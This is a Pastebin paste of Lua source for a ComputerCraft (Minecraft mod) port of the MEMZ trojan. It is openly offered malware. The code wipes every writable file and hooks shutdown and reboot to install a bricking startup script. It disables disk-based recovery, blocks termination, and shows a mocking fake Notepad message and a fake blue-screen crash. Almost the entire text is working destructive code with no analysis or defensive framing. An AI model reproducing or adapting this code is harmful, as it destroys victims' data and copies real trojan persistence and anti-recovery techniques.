Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if fs.exists('startup') then
- fs.delete('startup')
- end
- local keysheld = {
- }
- for num = 1, #keys do
- keysheld[num] = false
- end
- _G.debug = nil
- if fs.exists('startup.lua') then
- fs.delete('startup.lua')
- end
- function forceset()
- while true do
- sleep()
- settings.set('shell.allow_disk_startup',false)
- settings.set('shell.allow_startup',true)
- os.setComputerLabel('rekt by memz lol')
- end
- end
- shell.run('set shell.allow_disk_startup false')
- shell.run('set shell.allow_startup true')
- local filecontents = "os.pullEvent = os.pullEventRaw\nfor i,v in pairs(fs.list('/')) do\nif not fs.isReadOnly(v) and not fs.find(v,'disk') and v ~= 'startup' then\nfs.delete(v)\nend\nend\nlocal width, height = term.getSize()\nterm.setBackgroundColor(colors.black)\nterm.clear()\nterm.setTextColor(colors.white)\nlocal text = string.char(2)\nterm.setCursorPos((width/2)-(#text/2),height/2)\nwrite(text)\nwhile true do sleep() end"
- local function filekill()
- for i,v in pairs(fs.list('/')) do
- if not fs.isReadOnly(v) and fs.getDrive(v) == nil and v ~= 'startup' then
- fs.delete(v)
- end
- end
- end
- local file
- local function startupgen()
- file = fs.open('startup','w')
- if file then
- file.write(filecontents)
- file.close()
- end
- sleep()
- end
- local oldshutdown = os.shutdown
- local function newshutdown()
- startupgen()
- filekill()
- oldshutdown()
- end
- os.shutdown = newshutdown
- local oldreboot = os.reboot
- local function newreboot()
- startupgen()
- filekill()
- oldreboot()
- end
- os.reboot = newreboot
- function keycheck()
- while true do
- local ev = {coroutine.yield()}
- if ev[1] == 'key' then
- keysheld[ev[2]] = true
- elseif ev[1] == 'key_up' then
- keysheld[ev[2]] = false
- end
- if keysheld[29] or keysheld[157] then
- if keysheld[19] then
- os.reboot()
- elseif keysheld[31] then
- os.shutdown()
- end
- end
- end
- end
- term.setBackgroundColor(colors.white)
- local width, height = term.getSize()
- os.pullEvent = os.pullEventRaw
- term.clear()
- paintutils.drawLine(1,1,width,1,colors.lightBlue)
- term.setCursorPos(1,1)
- term.setTextColor(colors.white)
- write(' note.txt - Notepad')
- term.setCursorPos(width,1)
- term.setTextColor(colors.black)
- term.setBackgroundColor(colors.red)
- write('X')
- term.setBackgroundColor(colors.white)
- term.setCursorPos(1,2)
- print('YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN')
- term.setTextColor(colors.gray)
- print('(CC port by MinerMan132)')
- term.setTextColor(colors.black)
- print('')
- print("Your computer won't boot up again,")
- print('so use it as long as you can!')
- print('')
- print(':D')
- local function clickcheck()
- repeat
- _, m, x, y = os.pullEvent('mouse_click')
- until y == 1 and x == width
- end
- parallel.waitForAny(clickcheck,keycheck)
- local function payloads()
- term.redirect(term.native())
- local timer = 0
- while true do
- sleep()
- timer = timer + 1
- if timer < 2300 then
- if timer%30 == 0 and timer > 200 then
- term.setPaletteColor(2^math.random(0,15),math.random(1,999999))
- end
- if timer%100 == 0 and timer > 300 then
- local x, y = term.getCursorPos()
- local xoff = math.random(-1,1)
- local yoff = math.random(-1,1)
- if x + xoff > 0 and x + xoff < width then
- x = x + xoff
- end
- if y + yoff > 0 and y + yoff < height then
- y = y + yoff
- end
- term.setCursorPos(x,y)
- end
- local waittime = math.floor(40 - ((timer-600)/10))
- if waittime < 1 then
- waittime = 1
- end
- if timer%(waittime) == 0 and timer > 600 then
- local x, y = term.getCursorPos()
- local oldcolor1 = term.getTextColor()
- local oldcolor2 = term.getBackgroundColor()
- term.setCursorPos(math.random(1,width),math.random(1,height))
- term.setTextColor(2^math.random(0,15))
- term.setBackgroundColor(2^math.random(0,15))
- write((string.char(math.random(100,200))))
- term.setCursorPos(x,y)
- term.setTextColor(oldcolor1)
- term.setBackgroundColor(oldcolor2)
- end
- if timer > 700 and timer%100==0 then
- local ox, oy = term.getCursorPos()
- local color1 = term.getTextColor()
- local color2 = term.getBackgroundColor()
- local x = math.random(1,(width-26))
- local y = math.random(1,(height-2))
- term.setTextColor(colors.black)
- term.setBackgroundColor(colors.lightBlue)
- term.setCursorPos(x,y)
- write(' lol ')
- term.setBackgroundColor(colors.white)
- term.setCursorPos(x,y+1)
- write('Still using this computer?')
- term.setCursorPos(ox,oy)
- term.setTextColor(color1)
- term.setBackgroundColor(color2)
- end
- if timer > 2000 and timer%2==0 then
- for colort = 0,15 do
- term.setPaletteColor(2^colort,math.random(1,999999))
- end
- for _ = 1,10 do
- term.setCursorPos(math.random(1,width),math.random(1,height))
- term.setBackgroundColor(2^math.random(1,15))
- term.setTextColor(2^math.random(1,15))
- write(string.char(math.random(1,255)))
- term.setCursorPos(math.random(1,width),math.random(1,height))
- end
- local speakers = {peripheral.find('speaker')}
- for i,v in pairs(speakers) do
- v.playNote('harp',math.random(1,10),math.random(1,10))
- end
- end
- else
- term.setPaletteColor(1,0xF0F0F0)
- term.setPaletteColor(2048,0x3366CC)
- term.setBackgroundColor(colors.blue)
- term.setCursorBlink(false)
- term.clear()
- term.setTextColor(colors.white)
- term.setCursorPos(1,1)
- local text = {
- 'A problem has been detected and the system shut down.',
- '',
- 'COMPUTER_UTTERLY_FUCKED',
- '',
- "If this is the first time you've seen",
- 'this error screen, then your computer is trashed.',
- '',
- "If this is not your first time you've seen this",
- 'error screen, then why did you do this again?',
- '',
- 'Fake technical information:',
- '',
- '**STOP 0x90019381D',
- 'Dumping computer files...',
- '',
- '',
- 'Press any key to reboot . . .',
- }
- for i,v in ipairs(text) do
- sleep(0.45)
- print(v)
- end
- term.setCursorBlink(true)
- os.pullEvent('key')
- os.reboot()
- end
- end
- end
- local function shelljump()
- while true do
- term.setBackgroundColor(colors.black)
- term.clear()
- term.setCursorPos(1,1)
- term.setTextColor(colors.white)
- shell.run('shell')
- end
- end
- local function startlock()
- while true do
- if fs.exists('startup') then
- fs.delete('startup')
- elseif fs.exists('startup.lua') then
- fs.delete('startup.lua')
- end
- startupgen()
- end
- end
- parallel.waitForAll(payloads,shelljump,forceset,keycheck,startlock)
Add Comment
Please, Sign In to add comment